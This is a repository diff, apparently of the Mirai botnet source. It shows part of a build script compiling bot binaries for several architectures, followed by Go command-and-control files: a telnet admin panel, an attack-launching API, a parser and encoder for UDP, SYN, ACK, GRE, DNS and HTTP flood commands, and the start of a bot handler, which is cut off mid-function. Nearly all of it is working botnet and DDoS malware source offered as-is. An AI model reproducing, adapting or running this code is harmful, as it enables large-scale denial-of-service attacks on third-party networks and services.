|     armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm | ||||
|     armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7 | ||||
|     sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4 | ||||
|     gcc -std=c99 tools/enc.c -g -o debug/enc | ||||
|     gcc -std=c99 tools/nogdb.c -g -o debug/nogdb | ||||
|     gcc -std=c99 tools/badbot.c -g -o debug/badbot | ||||
|     go build -o debug/cnc cnc/*.go | ||||
|     go build -o debug/scanListen tools/scanListen.go | ||||
| else | ||||
|     echo "Unknown parameter $1: $0 <debug | release>" | ||||
| fi | ||||
							
								
								
									
										269
									
								
								mirai/cnc/admin.go
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										269
									
								
								mirai/cnc/admin.go
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,269 @@ | ||||
| package main | ||||
|  | ||||
| import ( | ||||
|     "fmt" | ||||
|     "net" | ||||
|     "time" | ||||
|     "strings" | ||||
|     "io/ioutil" | ||||
|     "strconv" | ||||
| ) | ||||
|  | ||||
| type Admin struct { | ||||
|     conn    net.Conn | ||||
| } | ||||
|  | ||||
| func NewAdmin(conn net.Conn) *Admin { | ||||
|     return &Admin{conn} | ||||
| } | ||||
|  | ||||
| func (this *Admin) Handle() { | ||||
|     this.conn.Write([]byte("\033[?1049h")) | ||||
|     this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22")) | ||||
|  | ||||
|     defer func() { | ||||
|         this.conn.Write([]byte("\033[?1049l")) | ||||
|     }() | ||||
|  | ||||
|     headerb, err := ioutil.ReadFile("prompt.txt") | ||||
|     if err != nil { | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     header := string(headerb) | ||||
|     this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1))) | ||||
|  | ||||
|     // Get username | ||||
|     this.conn.SetDeadline(time.Now().Add(60 * time.Second)) | ||||
|     this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m")) | ||||
|     username, err := this.ReadLine(false) | ||||
|     if err != nil { | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     // Get password | ||||
|     this.conn.SetDeadline(time.Now().Add(60 * time.Second)) | ||||
|     this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m")) | ||||
|     password, err := this.ReadLine(true) | ||||
|     if err != nil { | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     this.conn.SetDeadline(time.Now().Add(120 * time.Second)) | ||||
|     this.conn.Write([]byte("\r\n")) | ||||
|     spinBuf := []byte{'-', '\\', '|', '/'} | ||||
|     for i := 0; i < 15; i++ { | ||||
|         this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)])) | ||||
|         time.Sleep(time.Duration(300) * time.Millisecond) | ||||
|     } | ||||
|  | ||||
|     var loggedIn bool | ||||
|     var userInfo AccountInfo | ||||
|     if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn { | ||||
|         this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n")) | ||||
|         this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m")) | ||||
|         buf := make([]byte, 1) | ||||
|         this.conn.Read(buf) | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     this.conn.Write([]byte("\r\n\033[0m")) | ||||
|     this.conn.Write([]byte("[+] DDOS | Succesfully hijacked connection\r\n")) | ||||
|     time.Sleep(250 * time.Millisecond) | ||||
|     this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n")) | ||||
|     time.Sleep(500 * time.Millisecond) | ||||
|     this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n")) | ||||
|     time.Sleep(150 * time.Millisecond) | ||||
|     this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n")) | ||||
|     for i := 0; i < 4; i++ { | ||||
|         time.Sleep(100 * time.Millisecond) | ||||
|         this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poison.so.%d\r\n", i + 1))) | ||||
|     } | ||||
|     this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n")) | ||||
|     time.Sleep(1 * time.Second) | ||||
|  | ||||
|     go func() { | ||||
|         i := 0 | ||||
|         for { | ||||
|             var BotCount int | ||||
|             if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 { | ||||
|                 BotCount = userInfo.maxBots | ||||
|             } else { | ||||
|                 BotCount = clientList.Count() | ||||
|             } | ||||
|  | ||||
|             time.Sleep(time.Second) | ||||
|             if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil { | ||||
|                 this.conn.Close() | ||||
|                 break | ||||
|             } | ||||
|             i++ | ||||
|             if i % 60 == 0 { | ||||
|                 this.conn.SetDeadline(time.Now().Add(120 * time.Second)) | ||||
|             } | ||||
|         } | ||||
|     }() | ||||
|  | ||||
|     this.conn.Write([]byte("\033[37;1m[!] Sharing access IS prohibited!\r\n[!] Do NOT share your credentials!\r\n\033[36;1mReady\r\n")) | ||||
|     for { | ||||
|         var botCatagory string | ||||
|         var botCount int | ||||
|         this.conn.Write([]byte("\033[32;1m" + username + "@botnet# \033[0m")) | ||||
|         cmd, err := this.ReadLine(false) | ||||
|         if err != nil || cmd == "exit" || cmd == "quit" { | ||||
|             return | ||||
|         } | ||||
|         if cmd == "" { | ||||
|             continue | ||||
|         } | ||||
|         botCount = userInfo.maxBots | ||||
|  | ||||
|         if userInfo.admin == 1 && cmd == "adduser" { | ||||
|             this.conn.Write([]byte("Enter new username: ")) | ||||
|             new_un, err := this.ReadLine(false) | ||||
|             if err != nil { | ||||
|                 return | ||||
|             } | ||||
|             this.conn.Write([]byte("Enter new password: ")) | ||||
|             new_pw, err := this.ReadLine(false) | ||||
|             if err != nil { | ||||
|                 return | ||||
|             } | ||||
|             this.conn.Write([]byte("Enter wanted bot count (-1 for full net): ")) | ||||
|             max_bots_str, err := this.ReadLine(false) | ||||
|             if err != nil { | ||||
|                 return | ||||
|             } | ||||
|             max_bots, err := strconv.Atoi(max_bots_str) | ||||
|             if err != nil { | ||||
|                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count"))) | ||||
|                 continue | ||||
|             } | ||||
|             this.conn.Write([]byte("Max attack duration (-1 for none): ")) | ||||
|             duration_str, err := this.ReadLine(false) | ||||
|             if err != nil { | ||||
|                 return | ||||
|             } | ||||
|             duration, err := strconv.Atoi(duration_str) | ||||
|             if err != nil { | ||||
|                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit"))) | ||||
|                 continue | ||||
|             } | ||||
|             this.conn.Write([]byte("Cooldown time (0 for none): ")) | ||||
|             cooldown_str, err := this.ReadLine(false) | ||||
|             if err != nil { | ||||
|                 return | ||||
|             } | ||||
|             cooldown, err := strconv.Atoi(cooldown_str) | ||||
|             if err != nil { | ||||
|                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown"))) | ||||
|                 continue | ||||
|             } | ||||
|             this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)")) | ||||
|             confirm, err := this.ReadLine(false) | ||||
|             if err != nil { | ||||
|                 return | ||||
|             } | ||||
|             if confirm != "y" { | ||||
|                 continue | ||||
|             } | ||||
|             if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) { | ||||
|                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured."))) | ||||
|             } else { | ||||
|                 this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n")) | ||||
|             } | ||||
|             continue | ||||
|         } | ||||
|         if userInfo.admin == 1 && cmd == "botcount" { | ||||
|             m := clientList.Distribution() | ||||
|             for k, v := range m { | ||||
|                 this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v))) | ||||
|             } | ||||
|             continue | ||||
|         } | ||||
|         if cmd[0] == '-' { | ||||
|             countSplit := strings.SplitN(cmd, " ", 2) | ||||
|             count := countSplit[0][1:] | ||||
|             botCount, err = strconv.Atoi(count) | ||||
|             if err != nil { | ||||
|                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count))) | ||||
|                 continue | ||||
|             } | ||||
|             if userInfo.maxBots != -1 && botCount > userInfo.maxBots { | ||||
|                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n"))) | ||||
|                 continue | ||||
|             } | ||||
|             cmd = countSplit[1] | ||||
|         } | ||||
|         if userInfo.admin == 1 && cmd[0] == '@' { | ||||
|             cataSplit := strings.SplitN(cmd, " ", 2) | ||||
|             botCatagory = cataSplit[0][1:] | ||||
|             cmd = cataSplit[1] | ||||
|         } | ||||
|  | ||||
|         atk, err := NewAttack(cmd, userInfo.admin) | ||||
|         if err != nil { | ||||
|             this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error()))) | ||||
|         } else { | ||||
|             buf, err := atk.Build() | ||||
|             if err != nil { | ||||
|                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error()))) | ||||
|             } else { | ||||
|                 if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can { | ||||
|                     this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error()))) | ||||
|                 } else if !database.ContainsWhitelistedTargets(atk) { | ||||
|                     clientList.QueueBuf(buf, botCount, botCatagory) | ||||
|                 } else { | ||||
|                     fmt.Println("Blocked attack by " + username + " to whitelisted prefix") | ||||
|                 } | ||||
|             } | ||||
|         } | ||||
|     } | ||||
| } | ||||
|  | ||||
| func (this *Admin) ReadLine(masked bool) (string, error) { | ||||
|     buf := make([]byte, 1024) | ||||
|     bufPos := 0 | ||||
|  | ||||
|     for { | ||||
|         n, err := this.conn.Read(buf[bufPos:bufPos+1]) | ||||
|         if err != nil || n != 1 { | ||||
|             return "", err | ||||
|         } | ||||
|         if buf[bufPos] == '\xFF' { | ||||
|             n, err := this.conn.Read(buf[bufPos:bufPos+2]) | ||||
|             if err != nil || n != 2 { | ||||
|                 return "", err | ||||
|             } | ||||
|             bufPos-- | ||||
|         } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' { | ||||
|             if bufPos > 0 { | ||||
|                 this.conn.Write([]byte(string(buf[bufPos]))) | ||||
|                 bufPos-- | ||||
|             } | ||||
|             bufPos-- | ||||
|         } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' { | ||||
|             bufPos-- | ||||
|         } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' { | ||||
|             this.conn.Write([]byte("\r\n")) | ||||
|             return string(buf[:bufPos]), nil | ||||
|         } else if buf[bufPos] == 0x03 { | ||||
|             this.conn.Write([]byte("^C\r\n")) | ||||
|             return "", nil | ||||
|         } else { | ||||
|             if buf[bufPos] == '\x1B' { | ||||
|                 buf[bufPos] = '^'; | ||||
|                 this.conn.Write([]byte(string(buf[bufPos]))) | ||||
|                 bufPos++; | ||||
|                 buf[bufPos] = '['; | ||||
|                 this.conn.Write([]byte(string(buf[bufPos]))) | ||||
|             } else if masked { | ||||
|                 this.conn.Write([]byte("*")) | ||||
|             } else { | ||||
|                 this.conn.Write([]byte(string(buf[bufPos]))) | ||||
|             } | ||||
|         } | ||||
|         bufPos++ | ||||
|     } | ||||
|     return string(buf), nil | ||||
| } | ||||
							
								
								
									
										92
									
								
								mirai/cnc/api.go
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										92
									
								
								mirai/cnc/api.go
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,92 @@ | ||||
| package main | ||||
|  | ||||
| import ( | ||||
|     "net" | ||||
|     "time" | ||||
|     "strings" | ||||
|     "strconv" | ||||
| ) | ||||
|  | ||||
| type Api struct { | ||||
|     conn    net.Conn | ||||
| } | ||||
|  | ||||
| func NewApi(conn net.Conn) *Api { | ||||
|     return &Api{conn} | ||||
| } | ||||
|  | ||||
| func (this *Api) Handle() { | ||||
|     var botCount int | ||||
|     var apiKeyValid bool | ||||
|     var userInfo AccountInfo | ||||
|  | ||||
|     // Get command | ||||
|     this.conn.SetDeadline(time.Now().Add(60 * time.Second)) | ||||
|     cmd, err := this.ReadLine() | ||||
|     if err != nil { | ||||
|         this.conn.Write([]byte("ERR|Failed reading line\r\n")) | ||||
|         return | ||||
|     } | ||||
|     passwordSplit := strings.SplitN(cmd, "|", 2) | ||||
|     if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid { | ||||
|         this.conn.Write([]byte("ERR|API code invalid\r\n")) | ||||
|         return | ||||
|     } | ||||
|     botCount = userInfo.maxBots | ||||
|     cmd = passwordSplit[1] | ||||
|     if cmd[0] == '-' { | ||||
|         countSplit := strings.SplitN(cmd, " ", 2) | ||||
|         count := countSplit[0][1:] | ||||
|         botCount, err = strconv.Atoi(count) | ||||
|         if err != nil { | ||||
|             this.conn.Write([]byte("ERR|Failed parsing botcount\r\n")) | ||||
|             return | ||||
|         } | ||||
|         if userInfo.maxBots != -1 && botCount > userInfo.maxBots { | ||||
|             this.conn.Write([]byte("ERR|Specified bot count over limit\r\n")) | ||||
|             return | ||||
|         } | ||||
|         cmd = countSplit[1] | ||||
|     } | ||||
|  | ||||
|     atk, err := NewAttack(cmd, userInfo.admin) | ||||
|     if err != nil { | ||||
|         this.conn.Write([]byte("ERR|Failed parsing attack command\r\n")) | ||||
|         return | ||||
|     } | ||||
|     buf, err := atk.Build() | ||||
|     if err != nil { | ||||
|         this.conn.Write([]byte("ERR|An unknown error occurred\r\n")) | ||||
|         return | ||||
|     } | ||||
|     if database.ContainsWhitelistedTargets(atk) { | ||||
|         this.conn.Write([]byte("ERR|Attack targetting whitelisted target\r\n")) | ||||
|         return | ||||
|     } | ||||
|     if can, _ := database.CanLaunchAttack(userInfo.username, atk.Duration, cmd, botCount, 1); !can { | ||||
|         this.conn.Write([]byte("ERR|Attack cannot be launched\r\n")) | ||||
|         return | ||||
|     } | ||||
|  | ||||
|     clientList.QueueBuf(buf, botCount, "") | ||||
|     this.conn.Write([]byte("OK\r\n")) | ||||
| } | ||||
|  | ||||
| func (this *Api) ReadLine() (string, error) { | ||||
|     buf := make([]byte, 1024) | ||||
|     bufPos := 0 | ||||
|  | ||||
|     for { | ||||
|         n, err := this.conn.Read(buf[bufPos:bufPos+1]) | ||||
|         if err != nil || n != 1 { | ||||
|             return "", err | ||||
|         } | ||||
|         if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' { | ||||
|             bufPos-- | ||||
|         } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' { | ||||
|             return string(buf[:bufPos]), nil | ||||
|         } | ||||
|         bufPos++ | ||||
|     } | ||||
|     return string(buf), nil | ||||
| } | ||||
							
								
								
									
										366
									
								
								mirai/cnc/attack.go
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										366
									
								
								mirai/cnc/attack.go
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,366 @@ | ||||
| package main | ||||
|  | ||||
| import ( | ||||
|     "fmt" | ||||
|     "strings" | ||||
|     "strconv" | ||||
|     "net" | ||||
|     "encoding/binary" | ||||
|     "errors" | ||||
|     "github.com/mattn/go-shellwords" | ||||
| ) | ||||
|  | ||||
| type AttackInfo struct { | ||||
|     attackID            uint8 | ||||
|     attackFlags         []uint8 | ||||
|     attackDescription   string | ||||
| } | ||||
|  | ||||
| type Attack struct { | ||||
|     Duration    uint32 | ||||
|     Type        uint8 | ||||
|     Targets     map[uint32]uint8    // Prefix/netmask | ||||
|     Flags       map[uint8]string    // key=value | ||||
| } | ||||
|  | ||||
| type FlagInfo struct { | ||||
|     flagID          uint8 | ||||
|     flagDescription string | ||||
| } | ||||
|  | ||||
| var flagInfoLookup map[string]FlagInfo = map[string]FlagInfo { | ||||
|     "len": FlagInfo { | ||||
|         0, | ||||
|         "Size of packet data, default is 512 bytes", | ||||
|     }, | ||||
|     "rand": FlagInfo { | ||||
|         1, | ||||
|         "Randomize packet data content, default is 1 (yes)", | ||||
|     }, | ||||
|     "tos": FlagInfo { | ||||
|         2, | ||||
|         "TOS field value in IP header, default is 0", | ||||
|     }, | ||||
|     "ident": FlagInfo { | ||||
|         3, | ||||
|         "ID field value in IP header, default is random", | ||||
|     }, | ||||
|     "ttl": FlagInfo { | ||||
|         4, | ||||
|         "TTL field in IP header, default is 255", | ||||
|     }, | ||||
|     "df": FlagInfo { | ||||
|         5, | ||||
|         "Set the Dont-Fragment bit in IP header, default is 0 (no)", | ||||
|     }, | ||||
|     "sport": FlagInfo { | ||||
|         6, | ||||
|         "Source port, default is random", | ||||
|     }, | ||||
|     "dport": FlagInfo { | ||||
|         7, | ||||
|         "Destination port, default is random", | ||||
|     }, | ||||
|     "domain": FlagInfo { | ||||
|         8, | ||||
|         "Domain name to attack", | ||||
|     }, | ||||
|     "dhid": FlagInfo { | ||||
|         9, | ||||
|         "Domain name transaction ID, default is random", | ||||
|     }, | ||||
|     "urg": FlagInfo { | ||||
|         11, | ||||
|         "Set the URG bit in IP header, default is 0 (no)", | ||||
|     }, | ||||
|     "ack": FlagInfo { | ||||
|         12, | ||||
|         "Set the ACK bit in IP header, default is 0 (no) except for ACK flood", | ||||
|     }, | ||||
|     "psh": FlagInfo { | ||||
|         13, | ||||
|         "Set the PSH bit in IP header, default is 0 (no)", | ||||
|     }, | ||||
|     "rst": FlagInfo { | ||||
|         14, | ||||
|         "Set the RST bit in IP header, default is 0 (no)", | ||||
|     }, | ||||
|     "syn": FlagInfo { | ||||
|         15, | ||||
|         "Set the ACK bit in IP header, default is 0 (no) except for SYN flood", | ||||
|     }, | ||||
|     "fin": FlagInfo { | ||||
|         16, | ||||
|         "Set the FIN bit in IP header, default is 0 (no)", | ||||
|     }, | ||||
|     "seqnum": FlagInfo { | ||||
|         17, | ||||
|         "Sequence number value in TCP header, default is random", | ||||
|     }, | ||||
|     "acknum": FlagInfo { | ||||
|         18, | ||||
|         "Ack number value in TCP header, default is random", | ||||
|     }, | ||||
|     "gcip": FlagInfo { | ||||
|         19, | ||||
|         "Set internal IP to destination ip, default is 0 (no)", | ||||
|     }, | ||||
|     "method": FlagInfo { | ||||
|         20, | ||||
|         "HTTP method name, default is get", | ||||
|     }, | ||||
|     "postdata": FlagInfo { | ||||
|         21, | ||||
|         "POST data, default is empty/none", | ||||
|     }, | ||||
|     "path": FlagInfo { | ||||
|         22, | ||||
|         "HTTP path, default is /", | ||||
|     }, | ||||
|     /*"ssl": FlagInfo { | ||||
|         23, | ||||
|         "Use HTTPS/SSL" | ||||
|     }, | ||||
|     */ | ||||
|     "conns": FlagInfo { | ||||
|         24, | ||||
|         "Number of connections", | ||||
|     }, | ||||
|     "source": FlagInfo { | ||||
|         25, | ||||
|         "Source IP address, 255.255.255.255 for random", | ||||
|     }, | ||||
| } | ||||
|  | ||||
| var attackInfoLookup map[string]AttackInfo = map[string]AttackInfo { | ||||
|     "udp": AttackInfo { | ||||
|         0, | ||||
|         []uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 }, | ||||
|         "UDP flood", | ||||
|     }, | ||||
|     "vse": AttackInfo { | ||||
|         1, | ||||
|         []uint8 { 2, 3, 4, 5, 6, 7 }, | ||||
|         "Valve source engine specific flood", | ||||
|     }, | ||||
|     "dns": AttackInfo { | ||||
|         2, | ||||
|         []uint8 { 2, 3, 4, 5, 6, 7, 8, 9 }, | ||||
|         "DNS resolver flood using the targets domain, input IP is ignored", | ||||
|     }, | ||||
|     "syn": AttackInfo { | ||||
|         3, | ||||
|         []uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 }, | ||||
|         "SYN flood", | ||||
|     }, | ||||
|     "ack": AttackInfo { | ||||
|         4, | ||||
|         []uint8 { 0, 1, 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 }, | ||||
|         "ACK flood", | ||||
|     }, | ||||
|     "stomp": AttackInfo { | ||||
|         5, | ||||
|         []uint8 { 0, 1, 2, 3, 4, 5, 7, 11, 12, 13, 14, 15, 16 }, | ||||
|         "TCP stomp flood", | ||||
|     }, | ||||
|     "greip": AttackInfo { | ||||
|         6, | ||||
|         []uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25}, | ||||
|         "GRE IP flood", | ||||
|     }, | ||||
|     "greeth": AttackInfo { | ||||
|         7, | ||||
|         []uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25}, | ||||
|         "GRE Ethernet flood", | ||||
|     }, | ||||
|     "udpplain": AttackInfo { | ||||
|         9, | ||||
|         []uint8 {0, 1, 7}, | ||||
|         "UDP flood with less options. optimized for higher PPS", | ||||
|     }, | ||||
|     "http": AttackInfo { | ||||
|         10, | ||||
|         []uint8 {8, 7, 20, 21, 22, 24}, | ||||
|         "HTTP flood", | ||||
|     }, | ||||
| } | ||||
|  | ||||
| func uint8InSlice(a uint8, list []uint8) bool { | ||||
|     for _, b := range list { | ||||
|         if b == a { | ||||
|             return true | ||||
|         } | ||||
|     } | ||||
|     return false | ||||
| } | ||||
|  | ||||
| func NewAttack(str string, admin int) (*Attack, error) { | ||||
|     atk := &Attack{0, 0, make(map[uint32]uint8), make(map[uint8]string)} | ||||
|     args, _ := shellwords.Parse(str) | ||||
|  | ||||
|     var atkInfo AttackInfo | ||||
|     // Parse attack name | ||||
|     if len(args) == 0 { | ||||
|         return nil, errors.New("Must specify an attack name") | ||||
|     } else { | ||||
|         if args[0] == "?" { | ||||
|             validCmdList := "\033[37;1mAvailable attack list\r\n\033[36;1m" | ||||
|             for cmdName, atkInfo := range attackInfoLookup { | ||||
|                 validCmdList += cmdName + ": " + atkInfo.attackDescription + "\r\n" | ||||
|             } | ||||
|             return nil, errors.New(validCmdList) | ||||
|         } | ||||
|         var exists bool | ||||
|         atkInfo, exists = attackInfoLookup[args[0]] | ||||
|         if !exists { | ||||
|             return nil, errors.New(fmt.Sprintf("\033[33;1m%s \033[31mis not a valid attack!", args[0])) | ||||
|         } | ||||
|         atk.Type = atkInfo.attackID | ||||
|         args = args[1:] | ||||
|     } | ||||
|  | ||||
|     // Parse targets | ||||
|     if len(args) == 0 { | ||||
|         return nil, errors.New("Must specify prefix/netmask as targets") | ||||
|     } else { | ||||
|         if args[0] == "?" { | ||||
|             return nil, errors.New("\033[37;1mComma delimited list of target prefixes\r\nEx: 192.168.0.1\r\nEx: 10.0.0.0/8\r\nEx: 8.8.8.8,127.0.0.0/29") | ||||
|         } | ||||
|         cidrArgs := strings.Split(args[0], ",") | ||||
|         if len(cidrArgs) > 255 { | ||||
|             return nil, errors.New("Cannot specify more than 255 targets in a single attack!") | ||||
|         } | ||||
|         for _,cidr := range cidrArgs { | ||||
|             prefix := "" | ||||
|             netmask := uint8(32) | ||||
|             cidrInfo := strings.Split(cidr, "/") | ||||
|             if len(cidrInfo) == 0 { | ||||
|                 return nil, errors.New("Blank target specified!") | ||||
|             } | ||||
|             prefix = cidrInfo[0] | ||||
|             if len(cidrInfo) == 2 { | ||||
|                 netmaskTmp, err := strconv.Atoi(cidrInfo[1]) | ||||
|                 if err != nil || netmask > 32 || netmask < 0 { | ||||
|                     return nil, errors.New(fmt.Sprintf("Invalid netmask was supplied, near %s", cidr)) | ||||
|                 } | ||||
|                 netmask = uint8(netmaskTmp) | ||||
|             } else if len(cidrInfo) > 2 { | ||||
|                 return nil, errors.New(fmt.Sprintf("Too many /'s in prefix, near %s", cidr)) | ||||
|             } | ||||
|  | ||||
|             ip := net.ParseIP(prefix) | ||||
|             if ip == nil { | ||||
|                 return nil, errors.New(fmt.Sprintf("Failed to parse IP address, near %s", cidr)) | ||||
|             } | ||||
|             atk.Targets[binary.BigEndian.Uint32(ip[12:])] = netmask | ||||
|         } | ||||
|         args = args[1:] | ||||
|     } | ||||
|  | ||||
|     // Parse attack duration time | ||||
|     if len(args) == 0 { | ||||
|         return nil, errors.New("Must specify an attack duration") | ||||
|     } else { | ||||
|         if args[0] == "?" { | ||||
|             return nil, errors.New("\033[37;1mDuration of the attack, in seconds") | ||||
|         } | ||||
|         duration, err := strconv.Atoi(args[0]) | ||||
|         if err != nil || duration == 0 || duration > 3600 { | ||||
|             return nil, errors.New(fmt.Sprintf("Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds", args[0])) | ||||
|         } | ||||
|         atk.Duration = uint32(duration) | ||||
|         args = args[1:] | ||||
|     } | ||||
|  | ||||
|     // Parse flags | ||||
|     for len(args) > 0 { | ||||
|         if args[0] == "?" { | ||||
|             validFlags := "\033[37;1mList of flags key=val seperated by spaces. Valid flags for this method are\r\n\r\n" | ||||
|             for _, flagID := range atkInfo.attackFlags { | ||||
|                 for flagName, flagInfo := range flagInfoLookup { | ||||
|                     if flagID == flagInfo.flagID { | ||||
|                         validFlags += flagName + ": " + flagInfo.flagDescription + "\r\n" | ||||
|                         break | ||||
|                     } | ||||
|                 } | ||||
|             } | ||||
|             validFlags += "\r\nValue of 65535 for a flag denotes random (for ports, etc)\r\n" | ||||
|             validFlags += "Ex: seq=0\r\nEx: sport=0 dport=65535" | ||||
|             return nil, errors.New(validFlags) | ||||
|         } | ||||
|         flagSplit := strings.SplitN(args[0], "=", 2) | ||||
|         if len(flagSplit) != 2 { | ||||
|             return nil, errors.New(fmt.Sprintf("Invalid key=value flag combination near %s", args[0])) | ||||
|         } | ||||
|         flagInfo, exists := flagInfoLookup[flagSplit[0]] | ||||
|         if !exists || !uint8InSlice(flagInfo.flagID, atkInfo.attackFlags) || (admin == 0 && flagInfo.flagID == 25) { | ||||
|             return nil, errors.New(fmt.Sprintf("Invalid flag key %s, near %s", flagSplit[0], args[0])) | ||||
|         } | ||||
|         if flagSplit[1][0] == '"' { | ||||
|             flagSplit[1] = flagSplit[1][1:len(flagSplit[1]) - 1] | ||||
|             fmt.Println(flagSplit[1]) | ||||
|         } | ||||
|         if flagSplit[1] == "true" { | ||||
|             flagSplit[1] = "1" | ||||
|         } else if flagSplit[1] == "false" { | ||||
|             flagSplit[1] = "0" | ||||
|         } | ||||
|         atk.Flags[uint8(flagInfo.flagID)] = flagSplit[1] | ||||
|         args = args[1:] | ||||
|     } | ||||
|     if len(atk.Flags) > 255 { | ||||
|         return nil, errors.New("Cannot have more than 255 flags") | ||||
|     } | ||||
|  | ||||
|     return atk, nil | ||||
| } | ||||
|  | ||||
| func (this *Attack) Build() ([]byte, error) { | ||||
|     buf := make([]byte, 0) | ||||
|     var tmp []byte | ||||
|  | ||||
|     // Add in attack duration | ||||
|     tmp = make([]byte, 4) | ||||
|     binary.BigEndian.PutUint32(tmp, this.Duration) | ||||
|     buf = append(buf, tmp...) | ||||
|  | ||||
|     // Add in attack type | ||||
|     buf = append(buf, byte(this.Type)) | ||||
|  | ||||
|     // Send number of targets | ||||
|     buf = append(buf, byte(len(this.Targets))) | ||||
|  | ||||
|     // Send targets | ||||
|     for prefix,netmask := range this.Targets { | ||||
|         tmp = make([]byte, 5) | ||||
|         binary.BigEndian.PutUint32(tmp, prefix) | ||||
|         tmp[4] = byte(netmask) | ||||
|         buf = append(buf, tmp...) | ||||
|     } | ||||
|  | ||||
|     // Send number of flags | ||||
|     buf = append(buf, byte(len(this.Flags))) | ||||
|  | ||||
|     // Send flags | ||||
|     for key,val := range this.Flags { | ||||
|         tmp = make([]byte, 2) | ||||
|         tmp[0] = key | ||||
|         strbuf := []byte(val) | ||||
|         if len(strbuf) > 255 { | ||||
|             return nil, errors.New("Flag value cannot be more than 255 bytes!") | ||||
|         } | ||||
|         tmp[1] = uint8(len(strbuf)) | ||||
|         tmp = append(tmp, strbuf...) | ||||
|         buf = append(buf, tmp...) | ||||
|     } | ||||
|  | ||||
|     // Specify the total length | ||||
|     if len(buf) > 4096 { | ||||
|         return nil, errors.New("Max buffer is 4096") | ||||
|     } | ||||
|     tmp = make([]byte, 2) | ||||
|     binary.BigEndian.PutUint16(tmp, uint16(len(buf) + 2)) | ||||
|     buf = append(tmp, buf...) | ||||
|  | ||||
|     return buf, nil | ||||
| } | ||||
							
								
								
									
										37
									
								
								mirai/cnc/bot.go
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										37
									
								
								mirai/cnc/bot.go
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,37 @@ | ||||
| package main | ||||
|  | ||||
| import ( | ||||
|     "net" | ||||
|     "time" | ||||
| ) | ||||
|  | ||||
| type Bot struct { | ||||
|     uid     int | ||||
|     conn    net.Conn | ||||
|     version byte | ||||
|     source  string | ||||
| } | ||||
|  | ||||
| func NewBot(conn net.Conn, version byte, source string) *Bot { | ||||
|     return &Bot{-1, conn, version, source} | ||||
| } | ||||
|  | ||||
| func (this *Bot) Handle() { | ||||
|     clientList.AddClient(this) | ||||
|     defer clientList.DelClient(this) | ||||
|  | ||||
|     buf := make([]byte, 2) | ||||
|     for { | ||||
|         this.conn.SetDeadline(time.Now().Add(180 * time.Second)) | ||||
|         if n,err := this.conn.Read(buf); err != nil || n != len(buf) { | ||||
|             return | ||||
